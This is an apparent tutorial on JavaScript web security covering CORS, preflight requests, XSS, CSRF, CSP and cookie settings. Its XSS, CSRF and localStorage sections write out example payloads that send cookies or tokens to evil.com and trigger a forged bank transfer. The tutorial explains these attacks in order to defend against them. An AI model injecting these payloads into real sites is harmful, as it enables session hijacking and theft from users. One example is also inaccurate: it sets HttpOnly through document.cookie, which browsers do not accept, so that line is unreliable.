JavaScript CORS and Security Basics

Security in JavaScript is not optional — a poorly secured web app leaks user data, enables attackers, and breaks trust. Two of the most important concepts for frontend developers are CORS (Cross-Origin Resource Sharing) and protection against common browser-based attacks like XSS and CSRF. Understanding these helps you build apps that handle data responsibly.

What Is CORS?

CORS is a browser security mechanism. Browsers block JavaScript from making requests to a different domain (origin) unless that domain explicitly says it allows it. This prevents a malicious website from silently reading data from your bank's API using your logged-in session.

Diagram: Same-Origin vs Cross-Origin

Same-Origin (allowed without CORS):
  Page:    https://myapp.com/page
  Request: https://myapp.com/api/data   ← same domain, port, protocol → OK

Cross-Origin (blocked by default):
  Page:    https://myapp.com/page
  Request: https://api.otherdomain.com  ← different domain → BLOCKED

Cross-Origin with CORS header (allowed):
  Server responds with:
  Access-Control-Allow-Origin: https://myapp.com
  → Browser allows the request

What Counts as a Different Origin?

An origin is the combination of protocol, domain, and port. All three must match.

URL AURL BSame Origin?Reason
https://site.comhttps://site.com/apiYesSame protocol, domain, port
https://site.comhttp://site.comNoDifferent protocol
https://site.comhttps://api.site.comNoDifferent subdomain
https://site.comhttps://site.com:3000NoDifferent port

The CORS Error in Practice

// Running on https://myapp.com — trying to call a different domain
fetch("https://api.otherdomain.com/data")
  .then(res => res.json())
  .then(data => console.log(data))
  .catch(err => console.log(err));

// Browser console shows:
// Access to fetch at 'https://api.otherdomain.com/data' from origin
// 'https://myapp.com' has been blocked by CORS policy:
// No 'Access-Control-Allow-Origin' header is present

Diagram: CORS Request Flow

Browser sends request to api.otherdomain.com
        │
Server at otherdomain.com responds
        │
Browser checks response headers:
        │
  Has "Access-Control-Allow-Origin: https://myapp.com"?
        │
  YES → allow JS to read response
  NO  → block response, throw CORS error
        (response arrives but browser hides it from JS)

The Fix: Server Sets CORS Headers

CORS is solved on the server side — not in JavaScript. The server must include the right headers in its response.

// Example: Node.js / Express server
app.use(function(req, res, next) {
  res.setHeader("Access-Control-Allow-Origin", "https://myapp.com");
  res.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
  res.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");
  next();
});

Preflight Requests

Before sending a non-simple request (one with custom headers or methods like PUT/DELETE), the browser automatically sends an OPTIONS preflight request to ask the server: "Are you OK with this?" The server must respond with permission headers before the real request proceeds.

Diagram: Preflight Flow

Browser wants to send: DELETE /api/user/5

Step 1 — Preflight:
  Browser ── OPTIONS /api/user/5 ────────► Server
  Browser ◄── "Access-Control-Allow-Methods: DELETE" ── Server

Step 2 — Real request (if preflight passed):
  Browser ── DELETE /api/user/5 ─────────► Server
  Browser ◄── response ◄──────────────── Server

Cross-Site Scripting (XSS)

XSS is an attack where malicious JavaScript gets injected into a trusted web page and runs in other users' browsers. If your page displays user content without sanitizing it, an attacker can inject a script that steals cookies or session tokens.

Diagram: XSS Attack Flow

Attacker submits comment: <script>fetch("evil.com?c="+document.cookie)</script>
        │
Website stores comment in database (without sanitizing)
        │
Victim visits the page
        │
Browser renders the comment → runs the script!
        │
Attacker's server receives victim's cookies → account hijacked

Preventing XSS

// DANGEROUS — injects raw HTML directly
element.innerHTML = userInput;

// SAFE — treats input as text, not HTML
element.textContent = userInput;

// SAFE — encode special characters before inserting
function escapeHTML(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

element.innerHTML = escapeHTML(userInput);

Content Security Policy (CSP)

A CSP header tells the browser which scripts are allowed to run. It blocks injected scripts even if XSS occurs.

// Server sets this header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

// Now only scripts from your own domain and trusted.cdn.com can run.
// Injected inline scripts are blocked automatically.

Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user's browser into sending an unwanted request to your server. If your bank uses cookies for authentication, a malicious page can silently trigger a money transfer using your active session.

Diagram: CSRF Attack

1. User logs into bank.com (session cookie stored)
2. User visits evil.com (without logging out)
3. evil.com has hidden code: fetch("https://bank.com/transfer?to=attacker&amount=5000")
4. Browser sends request WITH the bank.com session cookie automatically
5. Bank sees a valid logged-in session → processes the transfer!

CSRF Prevention

  • Use CSRF tokens — a unique random token included in every state-changing request that the server verifies.
  • Use SameSite=Strict cookies — prevents the browser from sending cookies on cross-site requests.
  • Check the Origin or Referer header on the server to confirm requests come from your own site.
// Set a safe cookie
document.cookie = "session=abc123; SameSite=Strict; Secure; HttpOnly";
// SameSite=Strict → never sent cross-site
// Secure → HTTPS only
// HttpOnly → not accessible by JavaScript (protects from XSS theft)

Never Store Sensitive Data in localStorage

// DANGEROUS — any script on the page can read this
localStorage.setItem("authToken", "secret-jwt-token");

// XSS attack can steal it:
// fetch("evil.com?token=" + localStorage.getItem("authToken"))

// SAFER — use HttpOnly cookies for auth tokens
// The server sets the cookie — JavaScript cannot read it
// Cookie: authToken=secret-jwt-token; HttpOnly; Secure

Security Checklist for JavaScript Developers

ThreatPrevention
XSSUse textContent, escape HTML, set CSP headers
CSRFCSRF tokens, SameSite cookies
Token theftHttpOnly cookies instead of localStorage
CORS misconfigurationAllow specific origins, not *
Data in transitAlways use HTTPS (wss:// for WebSockets)

Summary

CORS is a browser policy that blocks cross-origin requests unless the server explicitly allows them — it is fixed on the server with response headers, not in your JavaScript. XSS lets attackers inject scripts into your pages — prevent it by escaping user input and using textContent instead of innerHTML. CSRF tricks browsers into sending authenticated requests to other sites — prevent it with CSRF tokens and SameSite cookies. Never store authentication tokens in localStorage — use HttpOnly cookies that JavaScript cannot touch. Security is built in layers, and understanding these fundamentals protects both your users and your application.

Leave a Comment

Your email address will not be published. Required fields are marked *